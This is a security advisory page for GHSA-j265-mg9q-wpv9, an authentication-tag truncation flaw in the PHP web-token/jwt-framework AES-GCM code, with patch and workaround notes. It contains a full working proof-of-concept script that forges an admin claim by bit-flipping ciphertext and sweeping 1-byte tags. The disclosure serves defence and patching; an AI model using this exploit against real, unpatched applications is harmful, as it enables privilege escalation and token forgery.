취약점 데이터베이스GHSA-j265-mg9q-wpv9

GHSA-j265-mg9q-wpv9: 
PHP 취약점 분석 및 완화

Patches

Fixed in 3.4.11, 4.0.8, 4.1.10 and 4.2.4. AESGCM::decryptContent() and AESGCMKW::unwrapKey() now reject an authentication tag that is not 16 bytes long, with the same error as a failed authentication. Tokens from conforming producers are not affected, since RFC 7518 requires a 128-bit tag for AES-GCM. The experimental AES-CCM algorithms of web-token/jwt-experimental now apply the same check against the tag length they declare. A256CCM-16-128 declared an 8-byte tag instead of 16, so the tokens it produced before the upgrade are now rejected.

Workarounds

Until you upgrade, unserialize the token and reject it unless strlen($jwe->getTag()) === 16, then decrypt it. With A128GCMKW, A192GCMKW or A256GCMKW, also reject a tag header parameter that does not decode to 16 bytes; a header checker can do it. If you suspect the flaw was exploited, rotate the shared keys and passwords used with dir, A128KW, A192KW, A256KW, A128GCMKW, A192GCMKW, A256GCMKW and the PBES2 algorithms. Repeated forgeries may reveal the GHASH subkey, after which full-length tags can be forged for the tokens concerned, even on a patched version.

Everything below is the original report. It describes the library as of 2026-09-20, before the fix.

Summary

AESGCM::decryptContent() passes the authentication tag taken from the token straight to openssl_decrypt() without checking its length. OpenSSL compares only as many bytes as it is given, so a 1-byte tag leaves a 1-in-256 chance per attempt. JWEDecrypter enforces the IV size through checkIvSize(), but there is no counterpart for the tag: the only tag length checks in src/ are the two in Experimental/KeyEncryption/Chacha20Poly1305.php, added by your own fix for GHSA-6vvh-pxr4-25r7. No AES-GCM path has one, and AESGCMKW::unwrapKey() has the same gap. AES-GCM is a counter mode, so flipping a ciphertext bit flips the same plaintext bit. An attacker who holds one valid token can therefore edit the ciphertext to say what they want, truncate the tag to a single byte, and sweep at most 256 candidate values until the library accepts one. I measured this end to end against an application that installs the published 4.2.3 unmodified: a session token carrying {"sub":"alice","adm":0} was turned into {"sub":"alice","adm":1} and the application returned its administrator response over HTTP. RFC 7518 section 5.3 states that "The requested size of the Authentication Tag output MUST be 128 bits, regardless of the key size."

Affected versions

Every published version, as far as I can determine. I classified the source of all 154 tags and all 17 remote branches (1.0.x through 5.0.x): not one has a tag length check. Packagist lists the same 154 releases; its 171 entries include the branch aliases. I also measured four published versions — 3.4.10, 4.0.7, 4.1.9 and 4.2.3. In each, an untouched token is accepted (positive control), a 1-byte tag is accepted too, and 20 of 20 forgeries succeed. That covers both lines your SECURITY.md lists as supported, 4.1.x and 3.4.x. Nothing newer is fixed. I re-checked on 2026-09-20: 4.2.3 of 2026-09-12 is still the latest release on Packagist, 4.2.3..origin/4.2.x is empty so no fix is waiting unreleased, and the development branches 4.3.x and 5.0.x carry the same unchecked call. The whole history of AESGCM.php is five commits, the most recent of which replaced an exception class in 2026-08-28, and git log -S for strlen and for TAG_LENGTH returns nothing across all branches. No issue, pull request or advisory addresses it, and composer audit on a 4.2.3 install is clean. There is therefore no patched version to record. The same file ships in two other Packagist packages, so a range on web-token/jwt-framework alone does not cover every affected installation. web-token/jwt-library carries it up to 4.2.3 with openssl_decrypt() on the same line 65 — and since your own documentation now calls jwt-framework "older instructions" and tells people to prefer jwt-library, that package may matter more than this one. The older split package web-token/jwt-encryption-algorithm-aesgcm carries it up to 3.2.10; from 3.3.0 that package is a shim that only depends on the library. I placed both boundaries by reading the published archives rather than by inference.

Preconditions

An application is affected only if all of the following are met.

  • It registers A128GCM, A192GCM or A256GCM in its AlgorithmManager and decrypts JWE. This is not a non-default setting: your "copy-paste ready" Examples page uses GCM in three of its four JWE examples and in its "Using the JWELoader (Recommended)" section; the Symfony bundle loads encryption_aesgcm.php unconditionally once JWE is on; and RFC 7518 section 5.1 marks A128GCM and A256GCM as Recommended. Your canonical JWE Loading page uses CBC-HMAC, so GCM is not the only documented path. Outside your projects, oidcphp/core and facile-it/php-jose-verifier register all three GCM classes.
  • The attacker holds one valid token issued by the target. Any account that can obtain a token is enough; no administrator role and no key material are needed.
  • The attacker can submit tokens and tell an accepted one from a rejected one. This is a decryption oracle, and the attack needs it. I list it as a weakness of this report rather than leaving you to find it. That oracle is weak: the only signal needed is that a forged token eventually succeeds. I measured it against the same application configured to collapse "token rejected" and "not an admin" into one HTTP 401 {"error":"access denied"}, and the forgery still succeeded on request 79: the HTTP 200 that arrives when the sweep reaches the right tag is itself the signal. Each attempt looks like an ordinary failed authentication, and rate limiting stretches the time a sweep takes rather than stopping it. An application cannot close this from the outside: no option controls the tag length, and header checkers cannot reach the value (see Root cause). I built the hardened loader exactly as your example writes it — AlgorithmChecker, IsEqualChecker('enc', 'A256GCM') and JWETokenSupport — and the forgery went through on request 7.

Reproduction

In an empty directory, install the published release.

composer require web-token/jwt-framework:4.2.3 spomky-labs/aes-key-wrap:^7.0

Save this as forge.php next to the vendor directory.

<?php
declare(strict_types=1);
require __DIR__ . '/vendor/autoload.php';
use Jose\Component\Core\AlgorithmManager;
use Jose\Component\Core\JWK;
use Jose\Component\Core\Util\Base64UrlSafe;
use Jose\Component\Encryption\Algorithm\ContentEncryption\A256GCM;
use Jose\Component\Encryption\Algorithm\KeyEncryption\A256KW;
use Jose\Component\Encryption\JWEBuilder;
use Jose\Component\Encryption\JWEDecrypter;
use Jose\Component\Encryption\JWELoader;
use Jose\Component\Encryption\Serializer\CompactSerializer;
use Jose\Component\Encryption\Serializer\JWESerializerManager;
const CLAIMS = '{"sub":"alice","adm":0}';
const HEADER = ['alg' => 'A256KW', 'enc' => 'A256GCM'];
const CIPHERTEXT_SEGMENT = 3;
const TAG_SEGMENT = 4;
const FORGERY_LABEL = 'forgery, tampered, 1-byte tag 0x%02x';
$algorithms = new AlgorithmManager([new A256KW(), new A256GCM()]);
$secret = Base64UrlSafe::encodeUnpadded(random_bytes(32));
$key = new JWK(['kty' => 'oct', 'k' => $secret]);
$jwe = (new JWEBuilder($algorithms))->create()
    ->withPayload(CLAIMS)
    ->withSharedProtectedHeader(HEADER)
    ->addRecipient($key)
    ->build();
$token = (new CompactSerializer())->serialize($jwe, 0);
$loader = new JWELoader(
    new JWESerializerManager([new CompactSerializer()]),
    new JWEDecrypter($algorithms),
    null
);
$decrypt = static function (string $candidate) use ($loader, $key) {
    $recipient = null;
    try {
        $out = $loader->loadAndDecryptWithKey($candidate, $key, $recipient);
        return $out->getPayload() ?? 'rejected';
    } catch (Throwable) {
        return 'rejected';
    }
};
$report = static function (string $label, string $value): void {
    printf("%-34s: %s\n", $label, $value);
};
$report('control A, untouched token', $decrypt($token));
// AES-GCM is a counter mode, so a flipped ciphertext bit
// flips the same plaintext bit.
$parts = explode('.', $token);
$segment = $parts[CIPHERTEXT_SEGMENT];
$ciphertext = Base64UrlSafe::decodeNoPadding($segment);
$offset = strpos(CLAIMS, '"adm":') + strlen('"adm":');
$ciphertext[$offset] = $ciphertext[$offset] ^ ('0' ^ '1');
$edited = Base64UrlSafe::encodeUnpadded($ciphertext);
$parts[CIPHERTEXT_SEGMENT] = $edited;
$tampered = implode('.', $parts);
$report('control B, tampered, 16-byte tag', $decrypt($tampered));
for ($byte = 0; $byte < 256; $byte++) {
    $parts[TAG_SEGMENT] = Base64UrlSafe::encodeUnpadded(chr($byte));
    $payload = $decrypt(implode('.', $parts));
    if ($payload !== 'rejected') {
        $report(sprintf(FORGERY_LABEL, $byte), $payload);
        $report('requests needed', sprintf('%d of 256', $byte + 1));
        exit(0);
    }
}
fwrite(STDERR, "no 1-byte tag was accepted\n");
exit(1);

Run php forge.php. Expected output, from the run recorded on 2026-09-19:

control A, untouched token        : {"sub":"alice","adm":0}
control B, tampered, 16-byte tag  : rejected
forgery, tampered, 1-byte tag 0x97: {"sub":"alice","adm":1}
requests needed                   : 152 of 256

The accepted tag byte and the request count differ on every run, because the key, the CEK and the IV are fresh each time; the first two lines and the forged payload on the third do not. Over 20 independent tokens the forgery succeeded 20 times, with a median of 148 requests (minimum 1, maximum 232), which is what a uniform draw from 1 to 256 looks like. The two control lines are what make the third meaningful. Control A shows the token is well formed and the path is live. Control B sends the same tampered ciphertext with the original 16-byte tag and is rejected, which shows the integrity check does work at the correct length and that the forgery is carried by the truncation, not by the bit flip alone. If the script reports no accepted 1-byte tag while control A still decrypts, the likely cause is your OpenSSL build rejecting short GCM tags rather than the library checking them. This script prints string(1) "x" on a build that accepts a 1-byte tag.

<?php
$key = str_repeat('k', 32);
$iv = str_repeat('i', 12);
$tag = '';
$c = openssl_encrypt('x', 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $iv, $tag);
var_dump(openssl_decrypt($c, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $iv, substr($tag, 0, 1)));

Impact

Measured: an attacker who can log in can rewrite their own session token and have the application accept it. I wrote a consuming application using only the documented JWEBuilder and JWELoader API, ran it on the published 4.2.3 under the PHP built-in server, and attacked it over HTTP without the library on the attacker side and without seeing the key. POST /login issued a compact JWE holding {"sub":"alice","adm":0}; the tampered token with a 1-byte tag returned HTTP 200 {"area":"admin","sub":"alice"} from GET /admin. The 256-request sweep took 0.1 seconds over loopback. The result did not depend on the key management algorithm (A256KW and dir) or the serializer (compact and JSON flattened). The general shape is that AES-GCM in this library provides confidentiality but not integrity. Any decision an application makes from a decrypted JWE payload — a role, a user identifier, an expiry carried inside the ciphertext — is attacker controlled as far as the attacker can guess the plaintext layout, which is cheap when that layout is the application's own JSON. That generalisation stops at nested tokens, and I measured where. With a signed-then-encrypted token (cty: JWT, HS256 inside A256KW/A256GCM), a 1-byte tag still gets through the JWE layer — one of the 256 candidates decrypted — but the inner signature rejected all 256. That protects the two widely used consumers I read: Symfony's OidcTokenHandler hands every decrypted string to loadAndVerifyJws() with no branch, and facile-it/php-jose-verifier does the same in Validate. The exposure is the shape your own Examples page documents — a bare JWE carrying sub, exp and an email address — rather than OIDC nesting. One timing condition comes with it: where an expiry is carried inside the token, the sweep must finish while the attacker's token is still valid. Rate limiting turns that into a real bound. Not measured, inferred: published work on truncated GCM tags describes GHASH subkey recovery from repeated forgeries (CVE-2025-54887 was scored for confidentiality loss on that basis). I did not attempt it.

Severity

Proposed: CVSS-B, vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N. The score itself is in the Severity field of this advisory; I have not repeated it here so that the two cannot drift apart. I used v4.0 because that is the system carried on your published advisories in the GitHub Advisory Database. PR:L reflects that the attacker must hold one legitimate token, which in most applications means an account. VI:H reflects arbitrary modification of the decrypted payload, and VC:N because I did not demonstrate any confidentiality loss myself. One reading scores this higher and is defensible: where an application hands encrypted tokens to unauthenticated clients, PR:N applies. I am not claiming that shape is typical of your users, only that it exists — the same defect in cjose was scored PR:N by the CNA (CVE-2023-37464). Final scoring is of course yours.

Root cause

src/Library/Encryption/Algorithm/ContentEncryption/AESGCM.php:65 in 4.2.3 — decryptContent() hands the caller-supplied $tag to openssl_decrypt() unchanged. OpenSSL compares only as many bytes of the tag as it receives, so enforcing the 128-bit length is the caller's responsibility. The caller does not: JWEDecrypter passes $jwe->getTag() ?? '' through at src/Library/Encryption/JWEDecrypter.php:285, while doing the opposite for the IV at line 162 through checkIvSize(). AESGCMKW::unwrapKey() at src/Library/Encryption/Algorithm/KeyEncryption/AESGCMKW.php:77 has the same gap for the tag header parameter. No header checker can substitute for the missing check: the content encryption tag is the fifth segment of the compact serialization rather than a header parameter, and every checker selects its target through supportedHeader(): string. CWE-354 (Improper Validation of Integrity Check Value) is the closest Base weakness. You used CWE-353 for the adjacent Chacha20Poly1305 advisory, which would also fit if you prefer to stay consistent with that one.

Suggested fix

Two placements are available, differing in how much of the class they close. Alongside the IV check: add a tag size to ContentEncryptionAlgorithm (128 for GCM) and call a checkTagSize() next to checkIvSize() in JWEDecrypter::decryptJWE(). That covers AESGCM and the experimental AESCCM in one place and keeps the length rule where the IV rule already lives. The cost is that adding a method to the interface breaks compatibility for outside implementers. Inside the algorithm: reject at the top of AESGCM::decryptContent() when the tag is not 16 bytes. That is contained and breaks nothing, but the line must be repeated in each AEAD algorithm. It is the shape you already chose in ed9f84b4 for Chacha20Poly1305::decryptKey(). Either way AESGCMKW::unwrapKey() needs the same check, since it reads the tag from a header parameter rather than from the token structure and would not be covered by a change in JWEDecrypter. Your own documentation already specifies the value it should demand: a "128-bit Authentication Tag value resulting from the key encryption operation". src/Experimental/ContentEncryption/AESCCM.php passes its tag through unchecked too, and there the value is already at hand in getTagLength(). I do not know which placement fits your compatibility constraints better.

Not verified

  • The actual behaviour of the 1.x and 2.x lines. Composer refuses to install them because of your existing advisories, and I did not disable that check. Those versions are covered only by the source classification.
  • The predecessor repository spomky-labs/jose. The initial commit e3883f84 of 2017-10-06 says the code came from there, so the defect probably predates it, but that is an inference from a commit message.
  • Reachability through your Symfony bundle in a running application. I read that EncryptionSource::load() loads encryption_aesgcm.php unconditionally and registers all three GCM classes as tagged services, but I tested a plain PHP application. I also did not run Symfony's own OidcTokenHandler or facile-it/php-jose-verifier; the reason I give for both being safe in Impact is a code reading.
  • Any confidentiality impact, including GHASH subkey recovery. I did not attempt it.
  • Exploitability of src/Experimental/ContentEncryption/AESCCM.php. I read that it passes the tag through unchecked, but I did not measure what PHP and OpenSSL accept for CCM.
  • Any independent impact from AESGCMKW alone. I measured tag acceptance and CEK malleability there and stopped when I could not reach a controlled plaintext.
  • Nested tokens beyond the one shape I measured: HS256 inside A256KW/A256GCM, not other inner algorithms.
  • How long a sweep takes against a rate-limited deployment. Mine had no limits; only the bound of 256 requests is measured.
  • Any real application. The consuming application in Impact is one I wrote, not production software.

Test environment

  • Debian GNU/Linux 13 (trixie), Linux 6.12.107, locale C.UTF-8
  • PHP 8.5.10 (CLI, NTS), linked against OpenSSL 3.6.3, composer 2.10.3
  • web-token/jwt-framework 4.2.3 and spomky-labs/aes-key-wrap 7.x, both installed from Packagist and left unmodified
  • Node.js 26.8.2 with jose 6.2.12, used only for the cross-implementation check below To reproduce from scratch, any PHP 8.x with the OpenSSL extension is enough: make an empty directory, run the composer require line from Reproduction, save forge.php there and run it. Cross-check in the same environment: jose 6.2.12 on Node.js, given the same key and the same two tokens, accepts the untouched one and rejects the truncated one with Invalid Authentication Tag length. The fallback at the end of Reproduction tells you whether your own OpenSSL build is the reason if the sweep does not reproduce.

Independent report

Also reported independently by Jeroen Robben.


소스: NVD

관련 PHP 취약점:

CVE ID

심각도

점수

기술

구성 요소 이름

CISA KEV 악용

수정 사항이 있습니다

출판일

GHSA-5pj7-wx9m-cjh6HIGH8.2
  • PHP logoPHP
  • web-token/jwt-framework
아니요네Oct 31, 2026
CVE-2026-96633HIGH8.1
  • PHP logoPHP
  • adminneo-org/adminneo
아니요네Oct 30, 2026
GHSA-j265-mg9q-wpv9HIGH7.1
  • PHP logoPHP
  • web-token/jwt-framework
아니요네Oct 31, 2026
CVE-2026-96634MEDIUM6.9
  • PHP logoPHP
  • adminneo-org/adminneo
아니요네Oct 30, 2026
GHSA-rqmg-p367-f63rMEDIUM4.3
  • PHP logoPHP
  • power-components/turbine
아니요네Oct 31, 2026

무료 취약점 평가

클라우드 보안 포세를 벤치마킹하세요

9개 보안 영역에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 파악하세요.

요청 평가

추가 Wiz 리소스

맞춤형 데모를 받아보세요

맞춤형 데모 신청하기

"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
데이비드 에슬릭CISO
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
아담 플레처최고 보안 책임자(CSO)
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."
그렉 포니아토프스키위협 및 취약성 관리 책임자